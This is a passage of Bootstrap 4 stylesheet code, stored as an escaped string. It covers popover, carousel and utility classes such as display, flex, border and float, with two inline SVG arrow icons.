Roboto, \"Helvetica Neue\", Arial, sans-serif, \"Apple Color Emoji\", \"Segoe UI Emoji\", \"Segoe UI Symbol\";\n  font-style: normal;\n  font-weight: 400;\n  line-height: 1.5;\n  text-align: left;\n  text-align: start;\n  text-decoration: none;\n  text-shadow: none;\n  text-transform: none;\n  letter-spacing: normal;\n  word-break: normal;\n  word-spacing: normal;\n  white-space: normal;\n  line-break: auto;\n  font-size: 0.875rem;\n  word-wrap: break-word;\n  background-color: #fff;\n  background-clip: padding-box;\n  border: 1px solid rgba(0, 0, 0, 0.2);\n  border-radius: 0.3rem;\n}\n\n.popover .arrow {\n  position: absolute;\n  display: block;\n  width: 1rem;\n  height: 0.5rem;\n  margin: 0 0.3rem;\n}\n\n.popover .arrow::before, .popover .arrow::after {\n  position: absolute;\n  display: block;\n  content: \"\";\n  border-color: transparent;\n  border-style: solid;\n}\n\n.bs-popover-top, .bs-popover-auto[x-placement^=\"top\"] {\n  margin-bottom: 0.5rem;\n}\n\n.bs-popover-top .arrow, .bs-popover-auto[x-placement^=\"top\"] .arrow {\n  bottom: calc((0.5rem + 1px) * -1);\n}\n\n.bs-popover-top .arrow::before, .bs-popover-auto[x-placement^=\"top\"] .arrow::before,\n.bs-popover-top .arrow::after, .bs-popover-auto[x-placement^=\"top\"] .arrow::after {\n  border-width: 0.5rem 0.5rem 0;\n}\n\n.bs-popover-top .arrow::before, .bs-popover-auto[x-placement^=\"top\"] .arrow::before {\n  bottom: 0;\n  border-top-color: rgba(0, 0, 0, 0.25);\n}\n\n.bs-popover-top .arrow::after, .bs-popover-auto[x-placement^=\"top\"] .arrow::after {\n  bottom: 1px;\n  border-top-color: #fff;\n}\n\n.bs-popover-right, .bs-popover-auto[x-placement^=\"right\"] {\n  margin-left: 0.5rem;\n}\n\n.bs-popover-right .arrow, .bs-popover-auto[x-placement^=\"right\"] .arrow {\n  left: calc((0.5rem + 1px) * -1);\n  width: 0.5rem;\n  height: 1rem;\n  margin: 0.3rem 0;\n}\n\n.bs-popover-right .arrow::before, .bs-popover-auto[x-placement^=\"right\"] .arrow::before,\n.bs-popover-right .arrow::after, .bs-popover-auto[x-placement^=\"right\"] .arrow::after {\n  border-width: 0.5rem 0.5rem 0.5rem 0;\n}\n\n.bs-popover-right .arrow::before, .bs-popover-auto[x-placement^=\"right\"] .arrow::before {\n  left: 0;\n  border-right-color: rgba(0, 0, 0, 0.25);\n}\n\n.bs-popover-right .arrow::after, .bs-popover-auto[x-placement^=\"right\"] .arrow::after {\n  left: 1px;\n  border-right-color: #fff;\n}\n\n.bs-popover-bottom, .bs-popover-auto[x-placement^=\"bottom\"] {\n  margin-top: 0.5rem;\n}\n\n.bs-popover-bottom .arrow, .bs-popover-auto[x-placement^=\"bottom\"] .arrow {\n  top: calc((0.5rem + 1px) * -1);\n}\n\n.bs-popover-bottom .arrow::before, .bs-popover-auto[x-placement^=\"bottom\"] .arrow::before,\n.bs-popover-bottom .arrow::after, .bs-popover-auto[x-placement^=\"bottom\"] .arrow::after {\n  border-width: 0 0.5rem 0.5rem 0.5rem;\n}\n\n.bs-popover-bottom .arrow::before, .bs-popover-auto[x-placement^=\"bottom\"] .arrow::before {\n  top: 0;\n  border-bottom-color: rgba(0, 0, 0, 0.25);\n}\n\n.bs-popover-bottom .arrow::after, .bs-popover-auto[x-placement^=\"bottom\"] .arrow::after {\n  top: 1px;\n  border-bottom-color: #fff;\n}\n\n.bs-popover-bottom .popover-header::before, .bs-popover-auto[x-placement^=\"bottom\"] .popover-header::before {\n  position: absolute;\n  top: 0;\n  left: 50%;\n  display: block;\n  width: 1rem;\n  margin-left: -0.5rem;\n  content: \"\";\n  border-bottom: 1px solid #f7f7f7;\n}\n\n.bs-popover-left, .bs-popover-auto[x-placement^=\"left\"] {\n  margin-right: 0.5rem;\n}\n\n.bs-popover-left .arrow, .bs-popover-auto[x-placement^=\"left\"] .arrow {\n  right: calc((0.5rem + 1px) * -1);\n  width: 0.5rem;\n  height: 1rem;\n  margin: 0.3rem 0;\n}\n\n.bs-popover-left .arrow::before, .bs-popover-auto[x-placement^=\"left\"] .arrow::before,\n.bs-popover-left .arrow::after, .bs-popover-auto[x-placement^=\"left\"] .arrow::after {\n  border-width: 0.5rem 0 0.5rem 0.5rem;\n}\n\n.bs-popover-left .arrow::before, .bs-popover-auto[x-placement^=\"left\"] .arrow::before {\n  right: 0;\n  border-left-color: rgba(0, 0, 0, 0.25);\n}\n\n.bs-popover-left .arrow::after, .bs-popover-auto[x-placement^=\"left\"] .arrow::after {\n  right: 1px;\n  border-left-color: #fff;\n}\n\n.popover-header {\n  padding: 0.5rem 0.75rem;\n  margin-bottom: 0;\n  font-size: 1rem;\n  color: inherit;\n  background-color: #f7f7f7;\n  border-bottom: 1px solid #ebebeb;\n  border-top-left-radius: calc(0.3rem - 1px);\n  border-top-right-radius: calc(0.3rem - 1px);\n}\n\n.popover-header:empty {\n  display: none;\n}\n\n.popover-body {\n  padding: 0.5rem 0.75rem;\n  color: #212529;\n}\n\n.carousel {\n  position: relative;\n}\n\n.carousel-inner {\n  position: relative;\n  width: 100%;\n  overflow: hidden;\n}\n\n.carousel-item {\n  position: relative;\n  display: none;\n  align-items: center;\n  width: 100%;\n  transition: transform 0.6s ease;\n  backface-visibility: hidden;\n  perspective: 1000px;\n}\n\n@media screen and (prefers-reduced-motion: reduce) {\n  .carousel-item {\n    transition: none;\n  }\n}\n\n.carousel-item.active,\n.carousel-item-next,\n.carousel-item-prev {\n  display: block;\n}\n\n.carousel-item-next,\n.carousel-item-prev {\n  position: absolute;\n  top: 0;\n}\n\n.carousel-item-next.carousel-item-left,\n.carousel-item-prev.carousel-item-right {\n  transform: translateX(0);\n}\n\n@supports (transform-style: preserve-3d) {\n  .carousel-item-next.carousel-item-left,\n  .carousel-item-prev.carousel-item-right {\n    transform: translate3d(0, 0, 0);\n  }\n}\n\n.carousel-item-next,\n.active.carousel-item-right {\n  transform: translateX(100%);\n}\n\n@supports (transform-style: preserve-3d) {\n  .carousel-item-next,\n  .active.carousel-item-right {\n    transform: translate3d(100%, 0, 0);\n  }\n}\n\n.carousel-item-prev,\n.active.carousel-item-left {\n  transform: translateX(-100%);\n}\n\n@supports (transform-style: preserve-3d) {\n  .carousel-item-prev,\n  .active.carousel-item-left {\n    transform: translate3d(-100%, 0, 0);\n  }\n}\n\n.carousel-fade .carousel-item {\n  opacity: 0;\n  transition-duration: .6s;\n  transition-property: opacity;\n}\n\n.carousel-fade .carousel-item.active,\n.carousel-fade .carousel-item-next.carousel-item-left,\n.carousel-fade .carousel-item-prev.carousel-item-right {\n  opacity: 1;\n}\n\n.carousel-fade .active.carousel-item-left,\n.carousel-fade .active.carousel-item-right {\n  opacity: 0;\n}\n\n.carousel-fade .carousel-item-next,\n.carousel-fade .carousel-item-prev,\n.carousel-fade .carousel-item.active,\n.carousel-fade .active.carousel-item-left,\n.carousel-fade .active.carousel-item-prev {\n  transform: translateX(0);\n}\n\n@supports (transform-style: preserve-3d) {\n  .carousel-fade .carousel-item-next,\n  .carousel-fade .carousel-item-prev,\n  .carousel-fade .carousel-item.active,\n  .carousel-fade .active.carousel-item-left,\n  .carousel-fade .active.carousel-item-prev {\n    transform: translate3d(0, 0, 0);\n  }\n}\n\n.carousel-control-prev,\n.carousel-control-next {\n  position: absolute;\n  top: 0;\n  bottom: 0;\n  display: flex;\n  align-items: center;\n  justify-content: center;\n  width: 15%;\n  color: #fff;\n  text-align: center;\n  opacity: 0.5;\n}\n\n.carousel-control-prev:hover, .carousel-control-prev:focus,\n.carousel-control-next:hover,\n.carousel-control-next:focus {\n  color: #fff;\n  text-decoration: none;\n  outline: 0;\n  opacity: .9;\n}\n\n.carousel-control-prev {\n  left: 0;\n}\n\n.carousel-control-next {\n  right: 0;\n}\n\n.carousel-control-prev-icon,\n.carousel-control-next-icon {\n  display: inline-block;\n  width: 20px;\n  height: 20px;\n  background: transparent no-repeat center center;\n  background-size: 100% 100%;\n}\n\n.carousel-control-prev-icon {\n  background-image: url(\"data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='%23fff' viewBox='0 0 8 8'%3E%3Cpath d='M5.25 0l-4 4 4 4 1.5-1.5-2.5-2.5 2.5-2.5-1.5-1.5z'/%3E%3C/svg%3E\");\n}\n\n.carousel-control-next-icon {\n  background-image: url(\"data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='%23fff' viewBox='0 0 8 8'%3E%3Cpath d='M2.75 0l-1.5 1.5 2.5 2.5-2.5 2.5 1.5 1.5 4-4-4-4z'/%3E%3C/svg%3E\");\n}\n\n.carousel-indicators {\n  position: absolute;\n  right: 0;\n  bottom: 10px;\n  left: 0;\n  z-index: 15;\n  display: flex;\n  justify-content: center;\n  padding-left: 0;\n  margin-right: 15%;\n  margin-left: 15%;\n  list-style: none;\n}\n\n.carousel-indicators li {\n  position: relative;\n  flex: 0 1 auto;\n  width: 30px;\n  height: 3px;\n  margin-right: 3px;\n  margin-left: 3px;\n  text-indent: -999px;\n  background-color: rgba(255, 255, 255, 0.5);\n}\n\n.carousel-indicators li::before {\n  position: absolute;\n  top: -10px;\n  left: 0;\n  display: inline-block;\n  width: 100%;\n  height: 10px;\n  content: \"\";\n}\n\n.carousel-indicators li::after {\n  position: absolute;\n  bottom: -10px;\n  left: 0;\n  display: inline-block;\n  width: 100%;\n  height: 10px;\n  content: \"\";\n}\n\n.carousel-indicators .active {\n  background-color: #fff;\n}\n\n.carousel-caption {\n  position: absolute;\n  right: 15%;\n  bottom: 20px;\n  left: 15%;\n  z-index: 10;\n  padding-top: 20px;\n  padding-bottom: 20px;\n  color: #fff;\n  text-align: center;\n}\n\n.align-baseline {\n  vertical-align: baseline !important;\n}\n\n.align-top {\n  vertical-align: top !important;\n}\n\n.align-middle {\n  vertical-align: middle !important;\n}\n\n.align-bottom {\n  vertical-align: bottom !important;\n}\n\n.align-text-bottom {\n  vertical-align: text-bottom !important;\n}\n\n.align-text-top {\n  vertical-align: text-top !important;\n}\n\n.bg-primary {\n  background-color: #007bff !important;\n}\n\na.bg-primary:hover, a.bg-primary:focus,\nbutton.bg-primary:hover,\nbutton.bg-primary:focus {\n  background-color: #0062cc !important;\n}\n\n.bg-secondary {\n  background-color: #6c757d !important;\n}\n\na.bg-secondary:hover, a.bg-secondary:focus,\nbutton.bg-secondary:hover,\nbutton.bg-secondary:focus {\n  background-color: #545b62 !important;\n}\n\n.bg-success {\n  background-color: #28a745 !important;\n}\n\na.bg-success:hover, a.bg-success:focus,\nbutton.bg-success:hover,\nbutton.bg-success:focus {\n  background-color: #1e7e34 !important;\n}\n\n.bg-info {\n  background-color: #17a2b8 !important;\n}\n\na.bg-info:hover, a.bg-info:focus,\nbutton.bg-info:hover,\nbutton.bg-info:focus {\n  background-color: #117a8b !important;\n}\n\n.bg-warning {\n  background-color: #ffc107 !important;\n}\n\na.bg-warning:hover, a.bg-warning:focus,\nbutton.bg-warning:hover,\nbutton.bg-warning:focus {\n  background-color: #d39e00 !important;\n}\n\n.bg-danger {\n  background-color: #dc3545 !important;\n}\n\na.bg-danger:hover, a.bg-danger:focus,\nbutton.bg-danger:hover,\nbutton.bg-danger:focus {\n  background-color: #bd2130 !important;\n}\n\n.bg-light {\n  background-color: #f8f9fa !important;\n}\n\na.bg-light:hover, a.bg-light:focus,\nbutton.bg-light:hover,\nbutton.bg-light:focus {\n  background-color: #dae0e5 !important;\n}\n\n.bg-dark {\n  background-color: #343a40 !important;\n}\n\na.bg-dark:hover, a.bg-dark:focus,\nbutton.bg-dark:hover,\nbutton.bg-dark:focus {\n  background-color: #1d2124 !important;\n}\n\n.bg-white {\n  background-color: #fff !important;\n}\n\n.bg-transparent {\n  background-color: transparent !important;\n}\n\n.border {\n  border: 1px solid #dee2e6 !important;\n}\n\n.border-top {\n  border-top: 1px solid #dee2e6 !important;\n}\n\n.border-right {\n  border-right: 1px solid #dee2e6 !important;\n}\n\n.border-bottom {\n  border-bottom: 1px solid #dee2e6 !important;\n}\n\n.border-left {\n  border-left: 1px solid #dee2e6 !important;\n}\n\n.border-0 {\n  border: 0 !important;\n}\n\n.border-top-0 {\n  border-top: 0 !important;\n}\n\n.border-right-0 {\n  border-right: 0 !important;\n}\n\n.border-bottom-0 {\n  border-bottom: 0 !important;\n}\n\n.border-left-0 {\n  border-left: 0 !important;\n}\n\n.border-primary {\n  border-color: #007bff !important;\n}\n\n.border-secondary {\n  border-color: #6c757d !important;\n}\n\n.border-success {\n  border-color: #28a745 !important;\n}\n\n.border-info {\n  border-color: #17a2b8 !important;\n}\n\n.border-warning {\n  border-color: #ffc107 !important;\n}\n\n.border-danger {\n  border-color: #dc3545 !important;\n}\n\n.border-light {\n  border-color: #f8f9fa !important;\n}\n\n.border-dark {\n  border-color: #343a40 !important;\n}\n\n.border-white {\n  border-color: #fff !important;\n}\n\n.rounded {\n  border-radius: 0.25rem !important;\n}\n\n.rounded-top {\n  border-top-left-radius: 0.25rem !important;\n  border-top-right-radius: 0.25rem !important;\n}\n\n.rounded-right {\n  border-top-right-radius: 0.25rem !important;\n  border-bottom-right-radius: 0.25rem !important;\n}\n\n.rounded-bottom {\n  border-bottom-right-radius: 0.25rem !important;\n  border-bottom-left-radius: 0.25rem !important;\n}\n\n.rounded-left {\n  border-top-left-radius: 0.25rem !important;\n  border-bottom-left-radius: 0.25rem !important;\n}\n\n.rounded-circle {\n  border-radius: 50% !important;\n}\n\n.rounded-0 {\n  border-radius: 0 !important;\n}\n\n.clearfix::after {\n  display: block;\n  clear: both;\n  content: \"\";\n}\n\n.d-none {\n  display: none !important;\n}\n\n.d-inline {\n  display: inline !important;\n}\n\n.d-inline-block {\n  display: inline-block !important;\n}\n\n.d-block {\n  display: block !important;\n}\n\n.d-table {\n  display: table !important;\n}\n\n.d-table-row {\n  display: table-row !important;\n}\n\n.d-table-cell {\n  display: table-cell !important;\n}\n\n.d-flex {\n  display: flex !important;\n}\n\n.d-inline-flex {\n  display: inline-flex !important;\n}\n\n@media (min-width: 576px) {\n  .d-sm-none {\n    display: none !important;\n  }\n  .d-sm-inline {\n    display: inline !important;\n  }\n  .d-sm-inline-block {\n    display: inline-block !important;\n  }\n  .d-sm-block {\n    display: block !important;\n  }\n  .d-sm-table {\n    display: table !important;\n  }\n  .d-sm-table-row {\n    display: table-row !important;\n  }\n  .d-sm-table-cell {\n    display: table-cell !important;\n  }\n  .d-sm-flex {\n    display: flex !important;\n  }\n  .d-sm-inline-flex {\n    display: inline-flex !important;\n  }\n}\n\n@media (min-width: 768px) {\n  .d-md-none {\n    display: none !important;\n  }\n  .d-md-inline {\n    display: inline !important;\n  }\n  .d-md-inline-block {\n    display: inline-block !important;\n  }\n  .d-md-block {\n    display: block !important;\n  }\n  .d-md-table {\n    display: table !important;\n  }\n  .d-md-table-row {\n    display: table-row !important;\n  }\n  .d-md-table-cell {\n    display: table-cell !important;\n  }\n  .d-md-flex {\n    display: flex !important;\n  }\n  .d-md-inline-flex {\n    display: inline-flex !important;\n  }\n}\n\n@media (min-width: 992px) {\n  .d-lg-none {\n    display: none !important;\n  }\n  .d-lg-inline {\n    display: inline !important;\n  }\n  .d-lg-inline-block {\n    display: inline-block !important;\n  }\n  .d-lg-block {\n    display: block !important;\n  }\n  .d-lg-table {\n    display: table !important;\n  }\n  .d-lg-table-row {\n    display: table-row !important;\n  }\n  .d-lg-table-cell {\n    display: table-cell !important;\n  }\n  .d-lg-flex {\n    display: flex !important;\n  }\n  .d-lg-inline-flex {\n    display: inline-flex !important;\n  }\n}\n\n@media (min-width: 1200px) {\n  .d-xl-none {\n    display: none !important;\n  }\n  .d-xl-inline {\n    display: inline !important;\n  }\n  .d-xl-inline-block {\n    display: inline-block !important;\n  }\n  .d-xl-block {\n    display: block !important;\n  }\n  .d-xl-table {\n    display: table !important;\n  }\n  .d-xl-table-row {\n    display: table-row !important;\n  }\n  .d-xl-table-cell {\n    display: table-cell !important;\n  }\n  .d-xl-flex {\n    display: flex !important;\n  }\n  .d-xl-inline-flex {\n    display: inline-flex !important;\n  }\n}\n\n@media print {\n  .d-print-none {\n    display: none !important;\n  }\n  .d-print-inline {\n    display: inline !important;\n  }\n  .d-print-inline-block {\n    display: inline-block !important;\n  }\n  .d-print-block {\n    display: block !important;\n  }\n  .d-print-table {\n    display: table !important;\n  }\n  .d-print-table-row {\n    display: table-row !important;\n  }\n  .d-print-table-cell {\n    display: table-cell !important;\n  }\n  .d-print-flex {\n    display: flex !important;\n  }\n  .d-print-inline-flex {\n    display: inline-flex !important;\n  }\n}\n\n.embed-responsive {\n  position: relative;\n  display: block;\n  width: 100%;\n  padding: 0;\n  overflow: hidden;\n}\n\n.embed-responsive::before {\n  display: block;\n  content: \"\";\n}\n\n.embed-responsive .embed-responsive-item,\n.embed-responsive iframe,\n.embed-responsive embed,\n.embed-responsive object,\n.embed-responsive video {\n  position: absolute;\n  top: 0;\n  bottom: 0;\n  left: 0;\n  width: 100%;\n  height: 100%;\n  border: 0;\n}\n\n.embed-responsive-21by9::before {\n  padding-top: 42.857143%;\n}\n\n.embed-responsive-16by9::before {\n  padding-top: 56.25%;\n}\n\n.embed-responsive-4by3::before {\n  padding-top: 75%;\n}\n\n.embed-responsive-1by1::before {\n  padding-top: 100%;\n}\n\n.flex-row {\n  flex-direction: row !important;\n}\n\n.flex-column {\n  flex-direction: column !important;\n}\n\n.flex-row-reverse {\n  flex-direction: row-reverse !important;\n}\n\n.flex-column-reverse {\n  flex-direction: column-reverse !important;\n}\n\n.flex-wrap {\n  flex-wrap: wrap !important;\n}\n\n.flex-nowrap {\n  flex-wrap: nowrap !important;\n}\n\n.flex-wrap-reverse {\n  flex-wrap: wrap-reverse !important;\n}\n\n.flex-fill {\n  flex: 1 1 auto !important;\n}\n\n.flex-grow-0 {\n  flex-grow: 0 !important;\n}\n\n.flex-grow-1 {\n  flex-grow: 1 !important;\n}\n\n.flex-shrink-0 {\n  flex-shrink: 0 !important;\n}\n\n.flex-shrink-1 {\n  flex-shrink: 1 !important;\n}\n\n.justify-content-start {\n  justify-content: flex-start !important;\n}\n\n.justify-content-end {\n  justify-content: flex-end !important;\n}\n\n.justify-content-center {\n  justify-content: center !important;\n}\n\n.justify-content-between {\n  justify-content: space-between !important;\n}\n\n.justify-content-around {\n  justify-content: space-around !important;\n}\n\n.align-items-start {\n  align-items: flex-start !important;\n}\n\n.align-items-end {\n  align-items: flex-end !important;\n}\n\n.align-items-center {\n  align-items: center !important;\n}\n\n.align-items-baseline {\n  align-items: baseline !important;\n}\n\n.align-items-stretch {\n  align-items: stretch !important;\n}\n\n.align-content-start {\n  align-content: flex-start !important;\n}\n\n.align-content-end {\n  align-content: flex-end !important;\n}\n\n.align-content-center {\n  align-content: center !important;\n}\n\n.align-content-between {\n  align-content: space-between !important;\n}\n\n.align-content-around {\n  align-content: space-around !important;\n}\n\n.align-content-stretch {\n  align-content: stretch !important;\n}\n\n.align-self-auto {\n  align-self: auto !important;\n}\n\n.align-self-start {\n  align-self: flex-start !important;\n}\n\n.align-self-end {\n  align-self: flex-end !important;\n}\n\n.align-self-center {\n  align-self: center !important;\n}\n\n.align-self-baseline {\n  align-self: baseline !important;\n}\n\n.align-self-stretch {\n  align-self: stretch !important;\n}\n\n@media (min-width: 576px) {\n  .flex-sm-row {\n    flex-direction: row !important;\n  }\n  .flex-sm-column {\n    flex-direction: column !important;\n  }\n  .flex-sm-row-reverse {\n    flex-direction: row-reverse !important;\n  }\n  .flex-sm-column-reverse {\n    flex-direction: column-reverse !important;\n  }\n  .flex-sm-wrap {\n    flex-wrap: wrap !important;\n  }\n  .flex-sm-nowrap {\n    flex-wrap: nowrap !important;\n  }\n  .flex-sm-wrap-reverse {\n    flex-wrap: wrap-reverse !important;\n  }\n  .flex-sm-fill {\n    flex: 1 1 auto !important;\n  }\n  .flex-sm-grow-0 {\n    flex-grow: 0 !important;\n  }\n  .flex-sm-grow-1 {\n    flex-grow: 1 !important;\n  }\n  .flex-sm-shrink-0 {\n    flex-shrink: 0 !important;\n  }\n  .flex-sm-shrink-1 {\n    flex-shrink: 1 !important;\n  }\n  .justify-content-sm-start {\n    justify-content: flex-start !important;\n  }\n  .justify-content-sm-end {\n    justify-content: flex-end !important;\n  }\n  .justify-content-sm-center {\n    justify-content: center !important;\n  }\n  .justify-content-sm-between {\n    justify-content: space-between !important;\n  }\n  .justify-content-sm-around {\n    justify-content: space-around !important;\n  }\n  .align-items-sm-start {\n    align-items: flex-start !important;\n  }\n  .align-items-sm-end {\n    align-items: flex-end !important;\n  }\n  .align-items-sm-center {\n    align-items: center !important;\n  }\n  .align-items-sm-baseline {\n    align-items: baseline !important;\n  }\n  .align-items-sm-stretch {\n    align-items: stretch !important;\n  }\n  .align-content-sm-start {\n    align-content: flex-start !important;\n  }\n  .align-content-sm-end {\n    align-content: flex-end !important;\n  }\n  .align-content-sm-center {\n    align-content: center !important;\n  }\n  .align-content-sm-between {\n    align-content: space-between !important;\n  }\n  .align-content-sm-around {\n    align-content: space-around !important;\n  }\n  .align-content-sm-stretch {\n    align-content: stretch !important;\n  }\n  .align-self-sm-auto {\n    align-self: auto !important;\n  }\n  .align-self-sm-start {\n    align-self: flex-start !important;\n  }\n  .align-self-sm-end {\n    align-self: flex-end !important;\n  }\n  .align-self-sm-center {\n    align-self: center !important;\n  }\n  .align-self-sm-baseline {\n    align-self: baseline !important;\n  }\n  .align-self-sm-stretch {\n    align-self: stretch !important;\n  }\n}\n\n@media (min-width: 768px) {\n  .flex-md-row {\n    flex-direction: row !important;\n  }\n  .flex-md-column {\n    flex-direction: column !important;\n  }\n  .flex-md-row-reverse {\n    flex-direction: row-reverse !important;\n  }\n  .flex-md-column-reverse {\n    flex-direction: column-reverse !important;\n  }\n  .flex-md-wrap {\n    flex-wrap: wrap !important;\n  }\n  .flex-md-nowrap {\n    flex-wrap: nowrap !important;\n  }\n  .flex-md-wrap-reverse {\n    flex-wrap: wrap-reverse !important;\n  }\n  .flex-md-fill {\n    flex: 1 1 auto !important;\n  }\n  .flex-md-grow-0 {\n    flex-grow: 0 !important;\n  }\n  .flex-md-grow-1 {\n    flex-grow: 1 !important;\n  }\n  .flex-md-shrink-0 {\n    flex-shrink: 0 !important;\n  }\n  .flex-md-shrink-1 {\n    flex-shrink: 1 !important;\n  }\n  .justify-content-md-start {\n    justify-content: flex-start !important;\n  }\n  .justify-content-md-end {\n    justify-content: flex-end !important;\n  }\n  .justify-content-md-center {\n    justify-content: center !important;\n  }\n  .justify-content-md-between {\n    justify-content: space-between !important;\n  }\n  .justify-content-md-around {\n    justify-content: space-around !important;\n  }\n  .align-items-md-start {\n    align-items: flex-start !important;\n  }\n  .align-items-md-end {\n    align-items: flex-end !important;\n  }\n  .align-items-md-center {\n    align-items: center !important;\n  }\n  .align-items-md-baseline {\n    align-items: baseline !important;\n  }\n  .align-items-md-stretch {\n    align-items: stretch !important;\n  }\n  .align-content-md-start {\n    align-content: flex-start !important;\n  }\n  .align-content-md-end {\n    align-content: flex-end !important;\n  }\n  .align-content-md-center {\n    align-content: center !important;\n  }\n  .align-content-md-between {\n    align-content: space-between !important;\n  }\n  .align-content-md-around {\n    align-content: space-around !important;\n  }\n  .align-content-md-stretch {\n    align-content: stretch !important;\n  }\n  .align-self-md-auto {\n    align-self: auto !important;\n  }\n  .align-self-md-start {\n    align-self: flex-start !important;\n  }\n  .align-self-md-end {\n    align-self: flex-end !important;\n  }\n  .align-self-md-center {\n    align-self: center !important;\n  }\n  .align-self-md-baseline {\n    align-self: baseline !important;\n  }\n  .align-self-md-stretch {\n    align-self: stretch !important;\n  }\n}\n\n@media (min-width: 992px) {\n  .flex-lg-row {\n    flex-direction: row !important;\n  }\n  .flex-lg-column {\n    flex-direction: column !important;\n  }\n  .flex-lg-row-reverse {\n    flex-direction: row-reverse !important;\n  }\n  .flex-lg-column-reverse {\n    flex-direction: column-reverse !important;\n  }\n  .flex-lg-wrap {\n    flex-wrap: wrap !important;\n  }\n  .flex-lg-nowrap {\n    flex-wrap: nowrap !important;\n  }\n  .flex-lg-wrap-reverse {\n    flex-wrap: wrap-reverse !important;\n  }\n  .flex-lg-fill {\n    flex: 1 1 auto !important;\n  }\n  .flex-lg-grow-0 {\n    flex-grow: 0 !important;\n  }\n  .flex-lg-grow-1 {\n    flex-grow: 1 !important;\n  }\n  .flex-lg-shrink-0 {\n    flex-shrink: 0 !important;\n  }\n  .flex-lg-shrink-1 {\n    flex-shrink: 1 !important;\n  }\n  .justify-content-lg-start {\n    justify-content: flex-start !important;\n  }\n  .justify-content-lg-end {\n    justify-content: flex-end !important;\n  }\n  .justify-content-lg-center {\n    justify-content: center !important;\n  }\n  .justify-content-lg-between {\n    justify-content: space-between !important;\n  }\n  .justify-content-lg-around {\n    justify-content: space-around !important;\n  }\n  .align-items-lg-start {\n    align-items: flex-start !important;\n  }\n  .align-items-lg-end {\n    align-items: flex-end !important;\n  }\n  .align-items-lg-center {\n    align-items: center !important;\n  }\n  .align-items-lg-baseline {\n    align-items: baseline !important;\n  }\n  .align-items-lg-stretch {\n    align-items: stretch !important;\n  }\n  .align-content-lg-start {\n    align-content: flex-start !important;\n  }\n  .align-content-lg-end {\n    align-content: flex-end !important;\n  }\n  .align-content-lg-center {\n    align-content: center !important;\n  }\n  .align-content-lg-between {\n    align-content: space-between !important;\n  }\n  .align-content-lg-around {\n    align-content: space-around !important;\n  }\n  .align-content-lg-stretch {\n    align-content: stretch !important;\n  }\n  .align-self-lg-auto {\n    align-self: auto !important;\n  }\n  .align-self-lg-start {\n    align-self: flex-start !important;\n  }\n  .align-self-lg-end {\n    align-self: flex-end !important;\n  }\n  .align-self-lg-center {\n    align-self: center !important;\n  }\n  .align-self-lg-baseline {\n    align-self: baseline !important;\n  }\n  .align-self-lg-stretch {\n    align-self: stretch !important;\n  }\n}\n\n@media (min-width: 1200px) {\n  .flex-xl-row {\n    flex-direction: row !important;\n  }\n  .flex-xl-column {\n    flex-direction: column !important;\n  }\n  .flex-xl-row-reverse {\n    flex-direction: row-reverse !important;\n  }\n  .flex-xl-column-reverse {\n    flex-direction: column-reverse !important;\n  }\n  .flex-xl-wrap {\n    flex-wrap: wrap !important;\n  }\n  .flex-xl-nowrap {\n    flex-wrap: nowrap !important;\n  }\n  .flex-xl-wrap-reverse {\n    flex-wrap: wrap-reverse !important;\n  }\n  .flex-xl-fill {\n    flex: 1 1 auto !important;\n  }\n  .flex-xl-grow-0 {\n    flex-grow: 0 !important;\n  }\n  .flex-xl-grow-1 {\n    flex-grow: 1 !important;\n  }\n  .flex-xl-shrink-0 {\n    flex-shrink: 0 !important;\n  }\n  .flex-xl-shrink-1 {\n    flex-shrink: 1 !important;\n  }\n  .justify-content-xl-start {\n    justify-content: flex-start !important;\n  }\n  .justify-content-xl-end {\n    justify-content: flex-end !important;\n  }\n  .justify-content-xl-center {\n    justify-content: center !important;\n  }\n  .justify-content-xl-between {\n    justify-content: space-between !important;\n  }\n  .justify-content-xl-around {\n    justify-content: space-around !important;\n  }\n  .align-items-xl-start {\n    align-items: flex-start !important;\n  }\n  .align-items-xl-end {\n    align-items: flex-end !important;\n  }\n  .align-items-xl-center {\n    align-items: center !important;\n  }\n  .align-items-xl-baseline {\n    align-items: baseline !important;\n  }\n  .align-items-xl-stretch {\n    align-items: stretch !important;\n  }\n  .align-content-xl-start {\n    align-content: flex-start !important;\n  }\n  .align-content-xl-end {\n    align-content: flex-end !important;\n  }\n  .align-content-xl-center {\n    align-content: center !important;\n  }\n  .align-content-xl-between {\n    align-content: space-between !important;\n  }\n  .align-content-xl-around {\n    align-content: space-around !important;\n  }\n  .align-content-xl-stretch {\n    align-content: stretch !important;\n  }\n  .align-self-xl-auto {\n    align-self: auto !important;\n  }\n  .align-self-xl-start {\n    align-self: flex-start !important;\n  }\n  .align-self-xl-end {\n    align-self: flex-end !important;\n  }\n  .align-self-xl-center {\n    align-self: center !important;\n  }\n  .align-self-xl-baseline {\n    align-self: baseline !important;\n  }\n  .align-self-xl-stretch {\n    align-self: stretch !important;\n  }\n}\n\n.float-left {\n  float: left !important;\n}\n\n.float-right {\n  float: right !important;\n}\n\n.float-none {\n  float: none !important;\n}\n\n@media (min-width: 576px) {\n  .float-sm-left {\n    float: left !important;\n  }\n  .float-sm-right {\n    float: right !important;\n  }\n  .float-sm-none {\n    float: none !important;\n  }\n}\n\n@media (min-width: 768px) {\n  .float-md-left {\n    float: left !important;\n  }\n  .float-md-right {\n    float: right !important;\n  }\n  .float-md-none {\n    float: none !important;\n  }\n}\n\n@media (min-width: 992px) {\n  .float-lg-left {\n    float: left !important;\n  }\n  .float-lg-right {\n    float: right !important;\n  }\n  .float-lg-none {\n    float: none !important;\n  }\n}\n\n@media (min-width: 1200px) {\n  .float-xl-left {\n    float: left !important;\n  }\n  .float-xl-right {\n    float: right !important;\n  }\n  .float-xl-none {\n    float: none !important;\n  }\n}\n\n.position-static {\n  position: static !important;\n}\n\n.position-relative {\n  position: relative !important;\n}\n\n.position-absolute {\n  position: absolute !important;\n}\n\n.position-fixed {\n  position: fixed !important;\n}\n\n.position-sticky {\n  position: sticky !important;\n}\n\n.fixed-top {\n  position: fixed;\n  top: 0;\n  right: 0;\n  left: 0;\n  z-index: 1030;\n}\n\n.fixed-bottom {\n  position: fixed;\n  right: 0;\n  bottom: 0;\n  left: 0;\n  z-index: 1030;\n}\n\n@supports (position: sticky) {\n  .sticky-top {\n    position: sticky;\n    top: 0;\n    z-index: 1020;\n  }\n}\n\n.sr-only {\n  position: absolute;\n  width: 1px;\n  height: 1px;\n  padding: 0;\n  overflow: hidden;\n  clip: rect(0, 0, 0, 0);\n  white-space: 